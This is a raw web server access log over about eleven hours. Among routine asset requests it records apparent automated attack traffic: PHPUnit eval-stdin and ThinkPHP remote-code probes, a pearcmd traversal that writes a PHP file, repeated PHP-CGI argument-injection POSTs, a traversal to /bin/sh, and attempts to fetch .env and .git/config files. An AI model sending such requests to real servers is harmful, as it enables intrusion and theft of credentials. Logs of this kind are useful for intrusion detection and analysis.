[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" -
[04/Dec/2024:14:28:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 300
[04/Dec/2024:14:28:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1" -
[04/Dec/2024:14:28:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" -
[04/Dec/2024:14:28:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /containers/json HTTP/1.1" 300
[04/Dec/2024:14:33:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/configure-wildcard-subdomains.pdf HTTP/1.1" 305
[04/Dec/2024:14:34:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:14:42:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/calendar_arrows.png HTTP/1.1" 173
[04/Dec/2024:14:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:14:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-5.jpg HTTP/1.1" 17733
[04/Dec/2024:14:55:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:15:06:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/datagrid_icons.png HTTP/1.1" 307
[04/Dec/2024:15:08:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[04/Dec/2024:15:14:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:15:15:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:15:42:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h6.png HTTP/1.1" 123
[04/Dec/2024:15:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:15:51:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 330
[04/Dec/2024:15:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/slider_handle.png HTTP/1.1" 863
[04/Dec/2024:15:54:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:16:04:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:16:06:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.svg HTTP/1.1" 447050
[04/Dec/2024:16:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:16:18:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h2.png HTTP/1.1" 127
[04/Dec/2024:16:18:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:16:18:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:16:21:36 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:16:24:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:16:25:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_blockquote.png HTTP/1.1" 154
[04/Dec/2024:16:31:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:16:33:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[04/Dec/2024:16:33:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:16:40:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/IMG_0724.JPG HTTP/1.1" 2779347
[04/Dec/2024:16:48:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/refresh.png HTTP/1.1" 1623
[04/Dec/2024:16:51:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:16:51:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:16:51:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/backup-restore-mysql.html HTTP/1.1" 305
[04/Dec/2024:16:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:17:03:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/tabs_icons.png HTTP/1.1" 150
[04/Dec/2024:17:10:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h3.png HTTP/1.1" 123
[04/Dec/2024:17:14:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:17:18:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f2.png HTTP/1.1" 117728
[04/Dec/2024:17:33:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/linkbutton_bg.png HTTP/1.1" 1274
[04/Dec/2024:17:34:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:17:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:17:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:17:55:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328c.html HTTP/1.1" 12553
[04/Dec/2024:17:58:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/javascript/main.js HTTP/1.1" -
[04/Dec/2024:18:03:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.svg HTTP/1.1" 365616
[04/Dec/2024:18:08:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:18:10:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-16.jpg HTTP/1.1" 126075
[04/Dec/2024:18:14:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:18:17:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/rst.txt.locked HTTP/1.1" -
[04/Dec/2024:18:17:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:18:25:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/e4.png HTTP/1.1" 93021
[04/Dec/2024:18:26:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:18:26:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:18:27:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:18:34:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:18:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/photo.png HTTP/1.1" 6639
[04/Dec/2024:18:40:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/blank.gif HTTP/1.1" 43
[04/Dec/2024:18:48:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[04/Dec/2024:18:48:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/messager_icons.png HTTP/1.1" 6116
[04/Dec/2024:18:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:18:54:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:19:00:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/close.png HTTP/1.1" 1238
[04/Dec/2024:19:04:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:19:06:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "\xd9" 332
[04/Dec/2024:19:14:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:19:34:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:19:36:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-3.jpg HTTP/1.1" 97015
[04/Dec/2024:19:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:19:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:19:57:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:20:00:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_address.png HTTP/1.1" 152
[04/Dec/2024:20:03:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /T6bHkeeG3IixY7Bh0noD1QyFLiPlD23T05_fYYWAB0SqWLgWGk-3zAazG2k0MqhO6AxISCCvosgJ0eBTxGrQHktud-cN20EuWN5bCgJQ7zQLOPyK5jhNF7Y2p-_JSxpBpQvWHxM5plh6NA2yELiAvVST24ah1aKWBxJ3EDpy2DOgE3DO9xUsIIP6R9Vy49sZRKRZKYyU6s9Z3QCfH7jzY3ZFQsI-dvC37Aw HTTP/1.1" 300
[04/Dec/2024:20:12:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/tree_icons.png HTTP/1.1" 3115
[04/Dec/2024:20:13:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:20:14:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:20:24:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/widget/images/handle.png HTTP/1.1" 220
[04/Dec/2024:20:30:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:20:34:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:20:36:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h1.png HTTP/1.1" 120
[04/Dec/2024:20:48:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_p.png HTTP/1.1" 115
[04/Dec/2024:20:52:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:21:14:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:21:16:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/loading.gif HTTP/1.1" 1737
[04/Dec/2024:21:16:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/503906872.jpg HTTP/1.1" 6
[04/Dec/2024:21:16:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:21:19:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon-rtl.png HTTP/1.1" 138
[04/Dec/2024:21:19:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[04/Dec/2024:21:19:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:21:19:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.development.local HTTP/1.1" 300
[04/Dec/2024:21:20:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/.git/config HTTP/1.1" 300
[04/Dec/2024:21:20:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.preprod HTTP/1.1" 300
[04/Dec/2024:21:20:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production HTTP/1.1" 300
[04/Dec/2024:21:20:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/.git/config HTTP/1.1" 300
[04/Dec/2024:21:20:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /core/.git/config HTTP/1.1" 300
[04/Dec/2024:21:20:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[04/Dec/2024:21:34:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:21:38:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/login1.jpg HTTP/1.1" 25789
[04/Dec/2024:21:45:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[04/Dec/2024:21:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:21:53:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/accordion_arrows.png HTTP/1.1" 184
[04/Dec/2024:22:00:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/refresh.png HTTP/1.1" 757
[04/Dec/2024:22:07:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/icons.png HTTP/1.1" 20833
[04/Dec/2024:22:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:22:18:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:22:21:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h4.png HTTP/1.1" 123
[04/Dec/2024:22:29:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/menu_arrows.png HTTP/1.1" 160
[04/Dec/2024:22:33:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:22:34:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:22:36:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/build2.jpg HTTP/1.1" 25328
[04/Dec/2024:22:50:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/banner.png HTTP/1.1" 468281
[04/Dec/2024:22:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:23:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:23:27:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:23:33:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:23:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:23:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:00:07:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/validatebox_warning.png HTTP/1.1" 921
[05/Dec/2024:00:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:00:24:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:00:33:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:00:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:00:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:00:52:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[05/Dec/2024:00:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:01:03:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/link/images/anchor.png HTTP/1.1" 589
[05/Dec/2024:01:13:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[05/Dec/2024:01:13:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:01:13:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod HTTP/1.1" 300
